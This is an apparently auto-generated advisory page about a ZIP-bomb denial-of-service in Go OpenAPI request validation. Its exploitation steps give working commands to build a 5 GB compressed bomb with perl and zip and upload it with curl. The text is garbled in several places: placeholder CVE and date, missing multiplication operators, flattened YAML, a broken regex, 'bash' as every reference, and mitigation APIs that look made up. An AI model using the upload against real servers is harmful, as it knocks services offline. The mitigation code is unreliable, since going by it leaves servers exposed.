OpenAPI, Zip Bomb Vulnerability, CVE-2023-XXXX (Critical)

How the CVE Works:

This vulnerability arises when a server processes a multipart/form-data request that includes a maliciously crafted ZIP file, commonly known as a ZIP bomb. The OpenAPI schema validation allows the upload of such files, and the `ZipFileBodyDecoder` automatically processes the ZIP file without proper size restrictions. When the server attempts to decompress the file, it consumes excessive memory, leading to an out-of-memory (OOM) condition. This can crash the server or severely degrade its performance. The issue is exacerbated by the fact that the `ZipFileBodyDecoder` is enabled by default, contrary to the documentation, making it easier for attackers to exploit.

DailyCVE Form:

Platform: OpenAPI
Version: 3.0.0
Vulnerability: Zip Bomb Exploit
Severity: Critical
Date: 2023-10-XX

What Undercode Say:

Exploitation:

1. Create a ZIP Bomb: Use the following command to generate a malicious ZIP file:

   perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt
   

2. Upload the ZIP Bomb: Use `curl` to upload the file to the vulnerable server:

   curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v
   

3. Monitor Memory Usage: Observe the server’s memory consumption using tools like `htop` or top. The memory usage will spike dramatically, causing an OOM condition.

Protection:

1. Disable Automatic ZIP Decoding: Modify the server configuration to disable the automatic registration of ZipFileBodyDecoder.

   // Example: Disable ZipFileBodyDecoder in Go
   decoder := openapi3filter.NewRequestBodyDecoder()
   decoder.Disable("application/zip")
   

2. Enforce Size Limits: Implement a maximum size limit for decompressed files in the ZipFileBodyDecoder.

   // Example: Set a 100MB decompression limit
   input := &openapi3filter.RequestValidationInput{
   MaxDecompressedSize: 100 1024 1024, // 100MB
   }
   

3. Validate File Types: Restrict file uploads to specific, safe file types in the OpenAPI schema.

   openapi: 3.0.0
   paths:
   /upload:
   post:
   requestBody:
   content:
   multipart/form-data:
   schema:
   type: object
   properties:
   file:
   type: string
   format: binary
   pattern: "^..(jpg|png|pdf)$" Allow only JPG, PNG, PDF
   

4. Monitor and Log: Implement monitoring and logging for unusual memory spikes or large file uploads.

   Example: Monitor memory usage
   watch -n 1 'free -m'
   

Additional Commands:

• Check Server Logs:

  tail -f /var/log/server.log
  

• Kill Process Consuming High Memory:

  pkill -f server_process_name
  

• Test Server Resilience: Use tools like `ab` (Apache Benchmark) to simulate high traffic and test server stability.

  ab -n 1000 -c 100 http://localhost:8080/
  

References:

• OpenAPI Documentation: bash
• ZIP Bomb Mitigation: bash
• Go OpenAPI3 Library: bash
  By following these steps, you can mitigate the risk of this critical vulnerability and protect your server from ZIP bomb attacks.

References:

Reported By: https://github.com/advisories/GHSA-wq9g-9vfc-cfq9
Extra Source Hub:
Undercode

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